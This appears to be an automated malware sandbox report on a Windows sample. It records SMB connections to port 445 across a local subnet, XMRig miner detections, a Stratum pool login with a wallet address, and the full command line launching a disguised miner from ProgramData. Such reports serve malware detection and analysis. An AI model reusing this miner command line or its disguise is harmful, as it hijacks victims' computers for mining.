Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445
Source: global traffic	TCP traffic: 192.168.2.220:445
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.236:445
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445
Source: global traffic	TCP traffic: 192.168.2.230:445
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445
Source: global traffic	TCP traffic: 192.168.2.203:445
Source: global traffic	TCP traffic: 192.168.2.204:445
Source: global traffic	TCP traffic: 192.168.2.201:445
Source: global traffic	TCP traffic: 192.168.2.202:445
Source: global traffic	TCP traffic: 192.168.2.207:445
Source: global traffic	TCP traffic: 192.168.2.208:445
Source: global traffic	TCP traffic: 192.168.2.205:445
Source: global traffic	TCP traffic: 192.168.2.206:445
Source: global traffic	TCP traffic: 192.168.2.200:445
Source: global traffic	TCP traffic: 192.168.2.209:445
Source: global traffic	TCP traffic: 192.168.2.214:445
Source: global traffic	TCP traffic: 192.168.2.215:445
Source: global traffic	TCP traffic: 192.168.2.212:445
Source: global traffic	TCP traffic: 192.168.2.213:445
Source: global traffic	TCP traffic: 192.168.2.218:445
Source: global traffic	TCP traffic: 192.168.2.219:445
Source: global traffic	TCP traffic: 192.168.2.216:445
Source: global traffic	TCP traffic: 192.168.2.217:445
Source: global traffic	TCP traffic: 192.168.2.210:445
Source: global traffic	TCP traffic: 192.168.2.211:445
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.0:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445
Source: global traffic	TCP traffic: 192.168.2.181:445
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445
Source: global traffic	TCP traffic: 192.168.2.185:445
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445
Source: global traffic	TCP traffic: 192.168.2.183:445
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445
Source: global traffic	TCP traffic: 192.168.2.191:445
Source: global traffic	TCP traffic: 192.168.2.192:445
Source: global traffic	TCP traffic: 192.168.2.190:445
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445
Source: global traffic	TCP traffic: 192.168.2.196:445
Source: global traffic	TCP traffic: 192.168.2.193:445
Source: global traffic	TCP traffic: 192.168.2.194:445
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445
Source: global traffic	TCP traffic: 192.168.2.174:445
Source: global traffic	TCP traffic: 192.168.2.171:445
Source: global traffic	TCP traffic: 192.168.2.172:445
Source: global traffic	TCP traffic: 192.168.2.177:445
Source: global traffic	TCP traffic: 192.168.2.178:445
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: file.exe, type: SAMPLE
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 27.0.file.exe.f30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 27.2.file.exe.f30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.file.exe.f30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.2183184833.0000000001A0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.2186176518.000000000128C000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2192703718.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2189908277.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.2142355301.000000000128C000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000038.00000002.2198689479.000002790CCC0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2176852527.000001B0F40E0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2244497786.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2282095723.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000032.00000002.2192534762.000001F36C070000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2202884525.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2209234233.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2171709547.000001F4C53C0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000005D.00000002.2222307156.000001807DA20000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2193263566.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2195947138.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000048.00000002.2206230527.000001501ECA0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2220254125.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2201769693.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2204686441.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2181677252.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2223455140.0000000003F09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000000.2178047816.000000000128C000.00000008.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Svchocpu.exe PID: 5704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: file.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Svchocpu.exe PID: 3556, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Svchocpu.exe PID: 7060, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Svchocpu.exe PID: 5928, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Svchocpu.exe PID: 5176, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Svchocpu.exe PID: 6508, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\spread.txt, type: DROPPED

Detected Stratum mining protocol

Source: global traffic

TCP traffic: 192.168.2.6:52344 -> 141.94.96.71:3333 payload: {"id":1,"jsonrpc":"2.0","method":"login","params":{"login":"45sep79asuwcjz8dltu7xtjbtx7yyf7uo6qt9ymfbqxv8gjzsdpyd46hoh6dm8paxklnsw9u7vezwu1dqmjkroryan3zeq1","pass":"x","agent":"xmrig/5.5.0 (windows nt 10.0; win64; x64) libuv/1.31.0 msvc/2015","algo":["cn/1","cn/2","cn/r","cn/fast","cn/half","cn/xao","cn/rto","cn/rwz","cn/zls","cn/double","cn/gpu","cn-lite/1","cn-heavy/0","cn-heavy/tube","cn-heavy/xhv","cn-pico","cn-pico/tlo","rx/0","rx/wow","rx/loki","rx/arq","rx/sfx"]}}.

Found strings related to Crypto-Mining

Source: file.exe, 00000000.00000003.2183184833.0000000001A0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\Desktop\C:\ProgramData\Svchocpu.exeC:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -KC:\Users\user\Desktop\file.exeWinsta0\Default=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsX
Source: file.exe, 00000000.00000003.2183184833.0000000001A0E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\Desktop\C:\ProgramData\Svchocpu.exeC:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -KC:\Users\user\Desktop\file.exeWinsta0\Default=::=::\ALLUSERSPROFILE=C:\ProgramDataAPPDATA=C:\Users\user\AppData\RoamingCommonProgramFiles=C:\Program Files (x86)\Common FilesCommonProgramFiles(x86)=C:\Program Files (x86)\Common FilesCommonProgramW6432=C:\Program Files\Common FilesCOMPUTERNAME=user-PCComSpec=C:\Windows\system32\cmd.exeDriverData=C:\Windows\System32\Drivers\DriverDataFPS_BROWSER_APP_PROFILE_STRING=Internet ExplorerFPS_BROWSER_USER_PROFILE_STRING=DefaultHOMEDRIVE=C:HOMEPATH=\Users\userLOCALAPPDATA=C:\Users\user\AppData\LocalLOGONSERVER=\\user-PCNUMBER_OF_PROCESSORS=2OneDrive=C:\Users\user\OneDriveOS=Windows_NTPath=C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSCPROCESSOR_ARCHITECTURE=x86PROCESSOR_ARCHITEW6432=AMD64PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 143 Stepping 8, GenuineIntelPROCESSOR_LEVEL=6PROCESSOR_REVISION=8f08ProgramData=C:\ProgramDataProgramFiles=C:\Program Files (x86)ProgramFiles(x86)=C:\Program Files (x86)ProgramW6432=C:\Program FilesPSModulePath=C:\Program Files (x86)\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules;C:\Program Files (x86)\AutoIt3\AutoItXPUBLIC=C:\Users\PublicSESSIONNAME=ConsoleSystemDrive=C:SystemRoot=C:\WindowsTEMP=C:\Users\user\AppData\Local\TempTMP=C:\Users\user\AppData\Local\TempUSERDOMAIN=user-PCUSERDOMAIN_ROAMINGPROFILE=user-PCUSERNAME=userUSERPROFILE=C:\Users\userwindir=C:\WindowsX

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:51044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:51792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:51889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:52280 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:52281 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:52294 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:52295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.83.247.108:443 -> 192.168.2.6:52313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:52318 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:52324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:52331 version: TLS 1.2

Source: file.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:

Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: SMB.exe.0.dr

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 150.138.72.102 ports 19370,0,1,3,7,9

Performs DNS queries to domains with low reputation

Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source: C:\Users\user\Desktop\file.exe	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source: C:\Users\user\Desktop\file.exe	DNS query: www.eqwedasda.xyz
Source: C:\Users\user\Desktop\file.exe	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz
Source:	DNS query: www.eqwedasda.xyz

Source: global traffic	TCP traffic: 192.168.2.6:49711 -> 150.138.72.102:19370
Source: global traffic	TCP traffic: 192.168.2.6:52344 -> 141.94.96.71:3333

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Network traffic	Suricata IDS: 2047928 - Severity 2 - ET MALWARE CoinMiner Domain in DNS Lookup (pool .supportxmr .com) : 192.168.2.6:59596 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2826930 - Severity 2 - ETPRO COINMINER XMR CoinMiner Usage : 192.168.2.6:52344 -> 141.94.96.71:3333

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
